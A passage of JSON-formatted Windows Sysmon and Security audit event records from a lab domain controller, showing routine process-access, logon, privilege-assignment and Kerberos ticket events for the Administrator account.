12:05:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8521,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:02.619\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-436E-5F2D-0000-0010C1E51100}\r\nTargetProcessId: 3544\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:02.619","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-436E-5F2D-0000-0010C1E51100}","TargetProcessId":"3544","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:05:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8522,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:02.619\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-436E-5F2D-0000-0010C1E51100}\r\nTargetProcessId: 3544\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:02.619","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-436E-5F2D-0000-0010C1E51100}","TargetProcessId":"3544","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222311,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x11ECA9\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x11eca9","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:05:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222312,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x11ECA9\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t51589\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x11eca9","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"51589","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:05:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222313,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x11ECA9\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x11eca9","LogonType":"3","EventReceivedTime":"2020-08-07 12:05:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":222314,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 12:05:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":222315,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{4F269204-4E0E-6EB9-C527-F8666F1065F6}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{4F269204-4E0E-6EB9-C527-F8666F1065F6}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 12:05:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":222316,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{4F269204-4E0E-6EB9-C527-F8666F1065F6}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{4F269204-4E0E-6EB9-C527-F8666F1065F6}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 12:05:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222317,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x11ED07\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{4F269204-4E0E-6EB9-C527-F8666F1065F6}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x11ed07","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{4F269204-4E0E-6EB9-C527-F8666F1065F6}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:05:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222318,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x11ED07\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x11ed07","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 12:05:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8523,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:09.948\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:09.948","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8524,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:09.948\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 